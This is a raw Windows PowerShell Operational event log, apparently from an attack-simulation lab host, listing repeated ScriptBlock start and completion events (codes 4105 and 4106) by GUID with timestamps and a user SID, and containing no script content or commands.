SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036837
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036815
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036813
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036812
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036795
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036789
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
